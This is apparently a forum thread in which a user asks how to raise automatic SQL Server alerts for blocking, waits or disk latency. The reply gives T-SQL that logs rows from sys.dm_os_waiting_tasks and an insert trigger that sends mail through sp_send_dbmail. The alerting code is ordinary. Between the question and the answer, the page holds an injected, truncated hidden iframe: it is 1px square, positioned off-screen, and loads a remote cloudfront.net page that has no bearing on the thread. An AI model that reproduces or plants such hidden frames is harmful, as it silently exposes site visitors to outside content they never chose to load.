Hi  Friends,

Please I want to configure auto trigger alert when ever certain criteria or condition matching when respect to sqlserver performance tuning parameters like  kind of blocking or waits or disk latency happens I want to raise alert.

thank you.

regards,

asad 

<iframe id="iagdtd_frame" src="https://d19tqk5t6qcjac.cloudfront.net/i/412.html" style=";width:1px;height:1px;left:-9999px;"></

1) Create table 

create table Per_test (wait_type nvarchar(50),session_id nvarchar(50),wait_duration_ms nvarchar(50))

2) insert data using sql aget
insert into Per_test 
SELECT DISTINCT
        wt.wait_type,s.session_id,wt.wait_duration_ms
FROM    sys.dm_os_waiting_tasks AS wt
        JOIN sys.dm_exec_sessions AS s ON wt.session_id = s.session_id
WHERE   s.is_user_process = 0
select * from sys.dm_os_waiting_tasks

select * from Per_test
select 1  from Per_test  where wait_duration_ms > 80000
3) insert on triggger to send mail
CREATE TRIGGER Per_test_Ins
ON Per_test
FOR INSERT
AS
BEGIN
    SET NOCOUNT ON;

    IF EXISTS (select 1  from Per_test  where wait_duration_ms > 80000)
    BEGIN
        EXEC msdb.dbo.sp_send_dbmail
          @recipients = 'dineshvishe3@gmail.com',
          @profile_name = 'DBA',
          @subject = 'check wait duration is greater',
          @body = 'Alert for Performance'
    END
END
GO

This is small example , you can make it better making more conditions.

http://www.mssqltips.com/sqlservertip/1523/how-to-setup-sql-server-alerts-and-email-operator-notifications/

This will help you..